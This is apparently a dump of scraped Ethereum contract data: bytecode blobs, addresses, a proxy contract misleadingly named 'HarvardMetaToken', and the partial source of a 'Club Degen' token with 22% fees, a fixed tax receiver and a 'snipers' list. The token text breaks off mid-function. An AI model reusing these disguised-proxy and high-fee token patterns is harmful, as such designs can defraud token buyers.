a28653d42ae832dc59e38c9798f6104d76106be565b82604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a16105558161073e565b610563565b610562610250565b5b50565b60006105706106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156105b2576105ab6106be565b90506105bb565b6105ba610250565b5b90565b600080823b905060008111915050919050565b6105d96106be565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561065d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806107fd6032913960400191505060405180910390fd5b61066561076d565b565b6000807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050805491505090565b3660008037600080366000845af43d6000803e80600081146106b9573d6000f35b3d6000fd5b6000807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b9050805491505090565b6106f88161076f565b8073ffffffffffffffffffffffffffffffffffffffff167fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b60405160405180910390a250565b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b90508181555050565b565b610778816105be565b6107cd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b815260200180610865603b913960400191505060405180910390fd5b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050818155505056fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220b0503c23d64d00872f309af6ebc439401f4a3a5289bbb698fa4e5aabd747642664736f6c63430006080033
[ 38 ]
0xF27AdB015958b4F02128ecFa3Ce59B3772E9676a
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract HarvardMetaToken { // Harvard Meta Token bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; constructor(bytes memory _a, bytes memory _data) payable { assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); (address addr) = abi.decode(_a, (address)); StorageSlot.getAddressSlot(KEY).value = addr; if (_data.length > 0) { Address.functionDelegateCall(addr, _data); } } function _fallback() internal virtual { _beforeFallback(); _g(StorageSlot.getAddressSlot(KEY).value); } fallback() external payable virtual { _fallback(); } receive() external payable virtual { _fallback(); } function _beforeFallback() internal virtual {} function _g(address to) internal virtual { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031661007b565b565b90565b606061007483836040518060600160405280602781526020016102316027913961009f565b9392505050565b3660008037600080366000845af43d6000803e80801561009a573d6000f35b3d6000fd5b6060833b6101035760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161011e91906101b1565b600060405180830381855af49150503d8060008114610159576040519150601f19603f3d011682016040523d82523d6000602084013e61015e565b606091505b509150915061016e828286610178565b9695505050505050565b60608315610187575081610074565b8251156101975782518084602001fd5b8160405162461bcd60e51b81526004016100fa91906101cd565b600082516101c3818460208701610200565b9190910192915050565b60208152600082518060208401526101ec816040850160208701610200565b601f01601f19169190910160400192915050565b60005b8381101561021b578181015183820152602001610203565b8381111561022a576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220f12480062ee9909f979d46b0e64daf0c0b37ceab382cf3c9adf9d7a0510efacc64736f6c63430008070033
[ 5 ]
0xF27B1287Ff256dA6a431f935feb5Ae674EbB1E1C
// SPDX-License-Identifier: Unlicensed /* Stealth Launch Soon. Web: https://clubdegen.online/ Tele: https://t.me/clubdegenportal */ pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract ClubDegen is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) public _rOwned; mapping (address => uint256) public _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping(address => bool) public snipers; address[] private _excluded; string private _name = "Club Degen"; string private _symbol = "$DEGEN"; uint256 private _decimals = 18; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000 * 10**6 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public _taxFee = 5; uint256 private _previousTaxFee = _taxFee; uint256 public _burnFee = 5; uint256 private _previousBurnFee = _burnFee; uint256 public _teamFee = 12; uint256 private _previousteamFee = _teamFee; uint256 public _maxTxAmount = 1000 * 10**6 * 10**18; uint256 public _maxWalletSize = 2000 * 10**6 * 10**18; uint256 public _swapTokensAtAmount = 100 * 10**6 * 10**18; address public taxReceiver = address(0x5de9CE700bD44d62CBAa640a8f855427940De116); IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[owner()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[taxReceiver] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint256) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) 